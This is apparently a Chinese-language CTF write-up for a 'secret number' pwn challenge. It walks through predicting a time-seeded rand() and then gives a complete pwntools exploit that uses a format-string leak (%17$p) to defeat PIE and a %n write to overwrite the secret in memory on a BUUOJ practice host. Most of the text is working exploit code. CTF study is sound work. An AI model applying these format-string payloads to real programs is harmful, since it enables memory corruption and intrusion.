secert number–NEWCTF
保护全开,主要利用格式化字符串。
用时间戳做随机数种子,然后取随机数,要求猜这个随机数。
本地打法:
dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed =time.time()
a=int(seed)
dll.srand(a)
secert=dll.rand()
sl(b'0')
print(hex(secert))
rl()
sl(b'0')
#gdb.attach(p)
#pause(1)
rl()
rl()
sl(str(secert))
可能是远程机子的时间戳不同,所以远程打不通。
远程打法:
这里有个循环,可以用格式化字符串先泄露出main函数的地址,然后算出pie的偏移,再根据secert在bss的地址,通过输入,利用格字进行修改secert的值。
注意:当遇到\x00会停止printf。
rl()
rl()
sl(b'1')
sd(b'%17$p')
rl()
rl()
main_addr = int(rc(14),16)
print(hex(main_addr))
base_addr = main_addr-0x12f5
rl()
secert_addr = base_addr + 0x404c
sl(b'1')
payload = b'%9$naaaa' +p64(secert_addr)
#gdb.attach(p)
sd(payload)
rl()
sl(b'0')
rl()
rl()
rl()
sl(b'0')
总结:回顾了一下对随机数的调用,以及好好看代码,注意有个循环(刚开始默认为了一次。。。)。
总exp:
from pwn import*
from ctypes import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./secretnumber')
p=remote('node4.buuoj.cn',26534)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
'''
dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed =time.time()
a=int(seed)
dll.srand(a)
secert=dll.rand()
sl(b'0')
print(hex(secert))
rl()
sl(b'0')
#gdb.attach(p)
#pause(1)
rl()
rl()
sl(str(secert))
#sl(str(secert))
'''
rl()
rl()
sl(b'1')
sd(b'%17$p')
rl()
rl()
main_addr = int(rc(14),16)
print(hex(main_addr))
base_addr = main_addr-0x12f5
rl()
secert_addr = base_addr + 0x404c
sl(b'1')
payload = b'%9$naaaa' +p64(secert_addr)
#gdb.attach(p)
sd(payload)
rl()
sl(b'0')
rl()
rl()
rl()
sl(b'0')
p.interactive()